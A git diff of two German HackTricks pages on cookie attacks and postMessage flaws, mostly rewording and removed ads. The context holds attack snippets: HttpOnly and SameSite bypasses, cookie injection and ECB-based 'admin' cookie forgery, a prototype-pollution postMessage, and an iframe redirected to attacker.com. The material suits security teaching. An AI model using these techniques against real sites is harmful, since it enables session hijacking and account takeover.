* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,13 +15,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie-Attribute
|
||||
|
||||
|
@ -29,7 +22,7 @@ Cookies verfügen über mehrere Attribute, die ihr Verhalten im Browser des Benu
|
|||
|
||||
### Expires und Max-Age
|
||||
|
||||
Das Ablaufdatum eines Cookies wird durch das `Expires`-Attribut bestimmt. Im Gegensatz dazu definiert das `Max-age`-Attribut die Zeit in Sekunden, bis ein Cookie gelöscht wird. **Bevorzuge `Max-age`, da es modernere Praktiken widerspiegelt.**
|
||||
Das Ablaufdatum eines Cookies wird durch das `Expires`-Attribut bestimmt. Umgekehrt definiert das `Max-age`-Attribut die Zeit in Sekunden, bis ein Cookie gelöscht wird. **Bevorzuge `Max-age`, da es modernere Praktiken widerspiegelt.**
|
||||
|
||||
### Domain
|
||||
|
||||
|
@ -69,7 +62,7 @@ Tabelle von [Invicti](https://www.netsparker.com/blog/web-security/same-site-coo
|
|||
Ein Cookie mit _**SameSite**_ Attribut wird **CSRF-Angriffe mildern**, bei denen eine angemeldete Sitzung erforderlich ist.
|
||||
|
||||
**\*Beachte, dass ab Chrome80 (Februar 2019) das Standardverhalten eines Cookies ohne ein Cookie SameSite** **Attribut lax** sein wird ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Beachte, dass temporär, nach Anwendung dieser Änderung, die **Cookies ohne eine SameSite** **Richtlinie** in Chrome **während der ersten 2 Minuten als None** behandelt werden und dann als Lax für Top-Level-Cross-Site-POST-Anfragen.
|
||||
Beachte, dass vorübergehend, nach Anwendung dieser Änderung, die **Cookies ohne eine SameSite** **Richtlinie** in Chrome **während der ersten 2 Minuten als None** behandelt werden und dann als Lax für die oberste Ebene der Cross-Site-POST-Anfrage.
|
||||
|
||||
## Cookies-Flags
|
||||
|
||||
|
@ -79,9 +72,9 @@ Dies verhindert, dass der **Client** auf das Cookie zugreift (zum Beispiel über
|
|||
|
||||
#### **Umgehungen**
|
||||
|
||||
* Wenn die Seite **die Cookies als Antwort** auf eine Anfrage sendet (zum Beispiel auf einer **PHPinfo**-Seite), ist es möglich, XSS auszunutzen, um eine Anfrage an diese Seite zu senden und **die Cookies** aus der Antwort zu **stehlen** (siehe ein Beispiel in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
* Dies könnte mit **TRACE** **HTTP**-Anfragen umgangen werden, da die Antwort des Servers die gesendeten Cookies widerspiegeln wird (wenn diese HTTP-Methode verfügbar ist). Diese Technik wird als **Cross-Site Tracking** bezeichnet.
|
||||
* Diese Technik wird von **modernen Browsern vermieden, indem sie das Senden einer TRACE**-Anfrage von JS nicht erlauben. Einige Umgehungen dafür wurden jedoch in spezifischer Software gefunden, wie das Senden von `\r\nTRACE` anstelle von `TRACE` an IE6.0 SP2.
|
||||
* Wenn die Seite **die Cookies als Antwort** auf eine Anfrage sendet (zum Beispiel auf einer **PHPinfo**-Seite), ist es möglich, XSS auszunutzen, um eine Anfrage an diese Seite zu senden und **die Cookies** aus der Antwort zu **stehlen** (siehe ein Beispiel unter [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Dies könnte mit **TRACE** **HTTP**-Anfragen umgangen werden, da die Antwort des Servers (wenn diese HTTP-Methode verfügbar ist) die gesendeten Cookies widerspiegelt. Diese Technik wird als **Cross-Site Tracking** bezeichnet.
|
||||
* Diese Technik wird von **modernen Browsern vermieden, indem das Senden einer TRACE**-Anfrage von JS nicht erlaubt wird. Einige Umgehungen dafür wurden jedoch in spezifischer Software gefunden, wie das Senden von `\r\nTRACE` anstelle von `TRACE` an IE6.0 SP2.
|
||||
* Eine andere Möglichkeit ist die Ausnutzung von Zero-Day-Sicherheitsanfälligkeiten der Browser.
|
||||
* Es ist möglich, **HttpOnly-Cookies** durch einen Cookie-Jar-Overflow-Angriff zu **überschreiben**:
|
||||
|
||||
|
@ -103,14 +96,14 @@ Für Cookies, die mit `__Host-` beginnen, müssen mehrere Bedingungen erfüllt s
|
|||
|
||||
* Sie müssen mit dem `secure`-Flag gesetzt werden.
|
||||
* Sie müssen von einer Seite stammen, die durch HTTPS gesichert ist.
|
||||
* Es ist ihnen untersagt, eine Domain anzugeben, was ihre Übertragung an Subdomains verhindert.
|
||||
* Es ist verboten, eine Domain anzugeben, was ihre Übertragung an Subdomains verhindert.
|
||||
* Der Pfad für diese Cookies muss auf `/` gesetzt werden.
|
||||
|
||||
Es ist wichtig zu beachten, dass Cookies, die mit `__Host-` beginnen, nicht an Superdomains oder Subdomains gesendet werden dürfen. Diese Einschränkung hilft, Anwendungscookies zu isolieren. Daher kann die Verwendung des `__Host-`-Präfixes für alle Anwendungscookies als gute Praxis zur Verbesserung der Sicherheit und Isolation angesehen werden.
|
||||
|
||||
### Cookies überschreiben
|
||||
### Überschreiben von Cookies
|
||||
|
||||
Eine der Schutzmaßnahmen von `__Host-`-präfixierten Cookies besteht darin, zu verhindern, dass sie von Subdomains überschrieben werden. Dies verhindert beispielsweise [**Cookie Tossing-Angriffe**](cookie-tossing.md). In dem Vortrag [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**Paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird präsentiert, dass es möglich war, \_\_HOST- präfixierte Cookies von einer Subdomain zu setzen, indem man den Parser täuschte, zum Beispiel, indem man "=" am Anfang oder am Ende hinzufügte...:
|
||||
Eine der Schutzmaßnahmen von `__Host-`-präfixierten Cookies besteht darin, sie daran zu hindern, von Subdomains überschrieben zu werden. Dies verhindert beispielsweise [**Cookie Tossing-Angriffe**](cookie-tossing.md). In dem Vortrag [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**Paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) wird präsentiert, dass es möglich war, \_\_HOST- präfixierte Cookies von einer Subdomain zu setzen, indem man den Parser täuschte, zum Beispiel, indem man "=" am Anfang oder am Ende hinzufügte...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -126,13 +119,13 @@ Wenn ein benutzerdefiniertes Cookie sensible Daten enthält, überprüfe es (ins
|
|||
|
||||
Sensible Daten, die in Cookies eingebettet sind, sollten immer überprüft werden. Cookies, die in Base64 oder ähnlichen Formaten kodiert sind, können oft dekodiert werden. Diese Sicherheitsanfälligkeit ermöglicht es Angreifern, den Inhalt des Cookies zu ändern und sich als andere Benutzer auszugeben, indem sie ihre modifizierten Daten wieder in das Cookie kodieren.
|
||||
|
||||
### Session Hijacking
|
||||
### Sitzungsübernahme
|
||||
|
||||
Dieser Angriff besteht darin, das Cookie eines Benutzers zu stehlen, um unbefugten Zugriff auf dessen Konto innerhalb einer Anwendung zu erlangen. Durch die Verwendung des gestohlenen Cookies kann ein Angreifer den legitimen Benutzer imitieren.
|
||||
|
||||
### Session Fixation
|
||||
### Sitzungsfixierung
|
||||
|
||||
In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie zum Anmelden zu verwenden. Wenn die Anwendung beim Anmelden kein neues Cookie zuweist, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer imitieren. Diese Technik beruht darauf, dass das Opfer sich mit einem vom Angreifer bereitgestellten Cookie anmeldet.
|
||||
In diesem Szenario bringt ein Angreifer ein Opfer dazu, ein bestimmtes Cookie zum Anmelden zu verwenden. Wenn die Anwendung beim Anmelden kein neues Cookie zuweist, kann der Angreifer, der das ursprüngliche Cookie besitzt, das Opfer imitieren. Diese Technik beruht darauf, dass das Opfer sich mit einem Cookie anmeldet, das vom Angreifer bereitgestellt wurde.
|
||||
|
||||
Wenn du ein **XSS in einer Subdomain** gefunden hast oder **eine Subdomain kontrollierst**, lies:
|
||||
|
||||
|
@ -140,9 +133,9 @@ Wenn du ein **XSS in einer Subdomain** gefunden hast oder **eine Subdomain kontr
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Session Donation
|
||||
### Sitzungsdonation
|
||||
|
||||
Hier überzeugt der Angreifer das Opfer, das Session-Cookie des Angreifers zu verwenden. Das Opfer, das glaubt, in seinem eigenen Konto angemeldet zu sein, wird unbeabsichtigt Aktionen im Kontext des Kontos des Angreifers ausführen.
|
||||
Hier überzeugt der Angreifer das Opfer, das Sitzungscookie des Angreifers zu verwenden. Das Opfer, das glaubt, in seinem eigenen Konto angemeldet zu sein, wird unbeabsichtigt Aktionen im Kontext des Kontos des Angreifers ausführen.
|
||||
|
||||
Wenn du ein **XSS in einer Subdomain** gefunden hast oder **eine Subdomain kontrollierst**, lies:
|
||||
|
||||
|
@ -150,19 +143,19 @@ Wenn du ein **XSS in einer Subdomain** gefunden hast oder **eine Subdomain kontr
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
### [JWT-Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Klicke auf den vorherigen Link, um auf eine Seite zuzugreifen, die mögliche Schwächen in JWT erklärt.
|
||||
|
||||
JSON Web Tokens (JWT), die in Cookies verwendet werden, können ebenfalls Sicherheitsanfälligkeiten aufweisen. Für detaillierte Informationen zu potenziellen Schwächen und wie man sie ausnutzen kann, wird empfohlen, das verlinkte Dokument über das Hacken von JWT zu lesen.
|
||||
JSON Web Tokens (JWT), die in Cookies verwendet werden, können ebenfalls Sicherheitsanfälligkeiten aufweisen. Für detaillierte Informationen zu potenziellen Schwächen und deren Ausnutzung wird empfohlen, das verlinkte Dokument über das Hacken von JWT zu konsultieren.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Dieser Angriff zwingt einen angemeldeten Benutzer, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er derzeit authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die verwundbare Seite gesendet werden.
|
||||
Dieser Angriff zwingt einen angemeldeten Benutzer, unerwünschte Aktionen in einer Webanwendung auszuführen, in der er derzeit authentifiziert ist. Angreifer können Cookies ausnutzen, die automatisch mit jeder Anfrage an die anfällige Seite gesendet werden.
|
||||
|
||||
### Leere Cookies
|
||||
|
||||
(Überprüfe weitere Details in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann:
|
||||
(Weitere Details findest du in der [originalen Forschung](https://blog.ankursundara.com/cookie-bugs/)) Browser erlauben die Erstellung von Cookies ohne Namen, was durch JavaScript wie folgt demonstriert werden kann:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -178,9 +171,9 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
```
|
||||
Dies führt dazu, dass der Browser einen Cookie-Header sendet, der von jedem Webserver als ein Cookie mit dem Namen `a` und dem Wert `b` interpretiert wird.
|
||||
|
||||
#### Chrome-Fehler: Unicode Surrogate Codepoint-Problem
|
||||
#### Chrome-Bug: Unicode-Surrogat-Codepunkt-Problem
|
||||
|
||||
In Chrome, wenn ein Unicode-Surrogate-Codepunkt Teil eines gesetzten Cookies ist, wird `document.cookie` beschädigt und gibt anschließend einen leeren String zurück:
|
||||
In Chrome, wenn ein Unicode-Surrogat-Codepunkt Teil eines gesetzten Cookies ist, wird `document.cookie` beschädigt und gibt anschließend einen leeren String zurück:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -200,7 +193,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope sucht nach einem Komma, um mit der Analyse des nächsten Cookies zu beginnen.
|
||||
* Die Cookie-Klassen von Python beginnen mit der Analyse bei einem Leerzeichen.
|
||||
|
||||
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie es Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch die Handhabung von doppelten Cookie-Namen in Python verschärft, bei der das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind.
|
||||
Diese Schwachstelle ist besonders gefährlich in Webanwendungen, die auf cookie-basiertem CSRF-Schutz basieren, da sie Angreifern ermöglicht, gefälschte CSRF-Token-Cookies einzuschleusen, was potenziell Sicherheitsmaßnahmen umgeht. Das Problem wird durch die Handhabung von doppelten Cookie-Namen in Python verschärft, bei der das letzte Vorkommen frühere überschreibt. Es wirft auch Bedenken hinsichtlich `__Secure-` und `__Host-` Cookies in unsicheren Kontexten auf und könnte zu Autorisierungsumgehungen führen, wenn Cookies an Backend-Server weitergegeben werden, die anfällig für Spoofing sind.
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
|
@ -261,20 +254,15 @@ Wenn Sie sich anmelden, muss das Cookie, das Sie erhalten, immer dasselbe sein.
|
|||
|
||||
Erstellen Sie 2 Benutzer mit fast denselben Daten (Benutzername, Passwort, E-Mail usw.) und versuchen Sie, ein Muster im gegebenen Cookie zu entdecken.
|
||||
|
||||
Erstellen Sie einen Benutzer mit dem Namen "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und überprüfen Sie, ob es ein Muster im Cookie gibt (da ECB mit demselben Schlüssel jeden Block verschlüsselt, könnten dieselben verschlüsselten Bytes erscheinen, wenn der Benutzername verschlüsselt wird).
|
||||
Erstellen Sie einen Benutzer mit dem Namen "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" und überprüfen Sie, ob es ein Muster im Cookie gibt (da ECB mit demselben Schlüssel jeden Block verschlüsselt, könnten die gleichen verschlüsselten Bytes erscheinen, wenn der Benutzername verschlüsselt wird).
|
||||
|
||||
Es sollte ein Muster geben (mit der Größe eines verwendeten Blocks). Wenn Sie wissen, wie eine Menge von "a" verschlüsselt ist, können Sie einen Benutzernamen erstellen: "a"\*(Größe des Blocks)+"admin". Dann könnten Sie das verschlüsselte Muster eines Blocks von "a" aus dem Cookie löschen. Und Sie haben das Cookie des Benutzernamens "admin".
|
||||
Es sollte ein Muster (mit der Größe eines verwendeten Blocks) geben. Wenn Sie wissen, wie eine Menge von "a" verschlüsselt ist, können Sie einen Benutzernamen erstellen: "a"\*(Größe des Blocks)+"admin". Dann könnten Sie das verschlüsselte Muster eines Blocks von "a" aus dem Cookie löschen. Und Sie haben das Cookie des Benutzernamens "admin".
|
||||
|
||||
## Referenzen
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -17,19 +17,6 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Account-Übernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren.
|
||||
|
||||
Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Sende **PostMessage**
|
||||
|
||||
|
@ -60,8 +47,8 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
|||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
Beachten Sie, dass **targetOrigin** ein '\*' oder eine URL wie _https://company.com._ sein kann.\
|
||||
Im **zweiten Szenario** kann die **Nachricht nur an diese Domain gesendet werden** (auch wenn der Ursprung des Fensterobjekts unterschiedlich ist).\
|
||||
Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain gesendet werden** und werden an den Ursprung des Fensterobjekts gesendet.
|
||||
Im **zweiten Szenario** kann die **Nachricht nur an diese Domain** gesendet werden (auch wenn der Ursprung des Window-Objekts unterschiedlich ist).\
|
||||
Wenn das **Wildcard** verwendet wird, können **Nachrichten an jede Domain** gesendet werden und werden an den Ursprung des Window-Objekts gesendet.
|
||||
|
||||
### Angreifen von iframe & Wildcard in **targetOrigin**
|
||||
|
||||
|
@ -81,9 +68,9 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
|
|||
}
|
||||
</script>
|
||||
```
|
||||
## addEventListener-Ausnutzung
|
||||
## addEventListener Ausnutzung
|
||||
|
||||
**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** **erwartet**.\
|
||||
**`addEventListener`** ist die Funktion, die von JS verwendet wird, um die Funktion zu deklarieren, die **`postMessages`** erwartet.\
|
||||
Ein Code ähnlich dem folgenden wird verwendet:
|
||||
```javascript
|
||||
window.addEventListener("message", (event) => {
|
||||
|
@ -93,14 +80,14 @@ return;
|
|||
// ...
|
||||
}, false);
|
||||
```
|
||||
Hinweis in diesem Fall, wie das **erste, was** der Code tut, ist **die Herkunft zu überprüfen**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
|
||||
Hinweis in diesem Fall, wie das **erste, was** der Code tut, **die Herkunft überprüft**. Dies ist äußerst **wichtig**, insbesondere wenn die Seite **irgendetwas Sensibles** mit den empfangenen Informationen tun wird (wie das Ändern eines Passworts). **Wenn die Herkunft nicht überprüft wird, können Angreifer die Opfer dazu bringen, beliebige Daten an diese Endpunkte zu senden** und die Passwörter der Opfer zu ändern (in diesem Beispiel).
|
||||
|
||||
### Enumeration
|
||||
### Aufzählung
|
||||
|
||||
Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
||||
|
||||
* **Durchsuchen** Sie den JS-Code nach `window.addEventListener` und `$(window).on` (_JQuery-Version_)
|
||||
* **Ausführen** in der Konsole der Entwicklertools: `getEventListeners(window)`
|
||||
* **Führen** Sie in der Konsole der Entwicklertools aus: `getEventListeners(window)`
|
||||
|
||||
![](<../../.gitbook/assets/image (618) (1).png>)
|
||||
|
||||
|
@ -110,7 +97,7 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
|||
|
||||
* Verwenden Sie eine **Browsererweiterung** wie [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) oder [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Diese Browsererweiterungen werden **alle Nachrichten abfangen** und Ihnen anzeigen.
|
||||
|
||||
### Herkunftsüberprüfung umgehen
|
||||
### Umgehungen der Herkunftsüberprüfung
|
||||
|
||||
* Das **`event.isTrusted`** Attribut gilt als sicher, da es `True` nur für Ereignisse zurückgibt, die durch echte Benutzeraktionen generiert werden. Obwohl es schwierig ist, dies zu umgehen, wenn es korrekt implementiert ist, ist seine Bedeutung in Sicherheitsüberprüfungen bemerkenswert.
|
||||
* Die Verwendung von **`indexOf()`** zur Herkunftsvalidierung in PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist:
|
||||
|
@ -118,12 +105,12 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie:
|
|||
```javascript
|
||||
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
|
||||
```
|
||||
* Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
|
||||
* Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Zeichenfolgen. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel:
|
||||
|
||||
```javascript
|
||||
"https://www.safedomain.com".search("www.s.fedomain.com")
|
||||
```
|
||||
* Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet regex. Wenn das regex nicht richtig strukturiert ist, könnte es anfällig für Umgehungen sein.
|
||||
* Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck nicht richtig strukturiert ist, könnte er anfällig für Umgehungen sein.
|
||||
* Die **`escapeHtml`** Funktion soll Eingaben bereinigen, indem sie Zeichen maskiert. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert:
|
||||
|
||||
* Erwarteter Fehler:
|
||||
|
@ -141,16 +128,16 @@ result = u(new Error("'\"<b>\\"));
|
|||
result.message; // "'"<b>\"
|
||||
```
|
||||
|
||||
Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
|
||||
Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt.
|
||||
* Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht.
|
||||
|
||||
### e.origin == window.origin umgehen
|
||||
### e.origin == window.origin Umgehung
|
||||
|
||||
Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um **Sandbox-Attribute** und deren Auswirkungen auf Sicherheit und Funktionalität geht.
|
||||
|
||||
Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das **`allow-popups-to-escape-sandbox`** Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt.
|
||||
|
||||
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** wahr ist (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
|
||||
Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen.
|
||||
|
||||
Für weitere Informationen **lesen** Sie:
|
||||
|
||||
|
@ -160,7 +147,7 @@ Für weitere Informationen **lesen** Sie:
|
|||
|
||||
### Umgehung von e.source
|
||||
|
||||
Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde):
|
||||
```javascript
|
||||
// If it’s not, return immediately.
|
||||
if( received_message.source !== window ) {
|
||||
|
@ -235,29 +222,18 @@ Für **weitere Informationen**:
|
|||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||
* Zum Üben: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden.
|
||||
|
||||
Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden.
|
||||
|
||||
Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & Üben von AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & Üben von GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks unterstützen</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
